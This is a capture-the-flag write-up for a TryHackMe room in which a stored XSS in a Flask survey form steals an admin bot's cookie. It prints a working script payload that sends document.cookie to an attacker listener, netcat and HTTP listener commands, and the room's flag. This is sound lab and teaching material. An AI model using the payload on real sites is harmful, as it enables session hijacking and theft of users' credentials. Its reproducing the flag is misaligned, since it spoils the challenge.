/writeups/cupids-matchmaker

Cupid's Matchmaker

TryHackMeEasyLove At First Breach 2026 — Event 3

“No algorithms. No AI. Just real human matchmakers.”

// overview

The app is a Flask-based personality survey at http://<TARGET_IP>:5000. The tagline hints that “real humans” review every submission — meaning a headless browser bot views stored user input. If the input isn't sanitised, stored XSS lets us execute JavaScript in the bot's context and exfiltrate sensitive data.

GoalCapture the flag from the admin bot
VectorStored XSS via unsanitised survey fields
ExfiltrationBase64-encoded cookie sent to attacker listener

// reconnaissance

The site has a /survey form with fields: name, age, gender, seeking, ideal_date, describe_yourself, looking_for, dealbreakers.

Submitted data is stored and later reviewed by an automated bot (Headless Chrome). The /admin endpoint exists but redirects to /login — no direct access without a valid session.

// exploitation

$Step 1 — Start a listener

$ python3 -m http.server 8000
# or
$ nc -lnvp 8000

$Step 2 — Inject the XSS payload

Fill out the survey and put the following payload in any field (e.g. describe_yourself):

<script>fetch('http://<YOUR_IP>:8000/?cookie=' + btoa(document.cookie));</script>

This fetches the bot's document.cookie, Base64-encodes it, and sends it to your listener.

$Step 3 — Submit and wait

Submit the survey. The bot reviews it shortly after, executing the payload. Your listener receives a request like:

GET /?cookie=VEhNe1hTU19DdVAxZF9TdHIxazNzX0FnNDFufQ== HTTP/1.1
User-Agent: HeadlessChrome/...

$Step 4 — Decode the cookie

The cookie value is Base64-encoded. Decode it:

$ echo "VEhNe1hTU19DdVAxZF9TdHIxazNzX0FnNDFufQ==" | base64 -d

Output:

THM{XSS_CuP1d_Str1k3s_Ag41n}

// flag

THM{XSS_CuP1d_Str1k3s_Ag41n}

// key takeaways

  • >Stored XSS in user-submitted content that an admin/bot views is a critical vulnerability.
  • >HttpOnly cookies would have prevented document.cookie access — the flag cookie lacked this flag.
  • >Always sanitise and encode user input before rendering. A single unsanitised field is enough for full compromise.

// references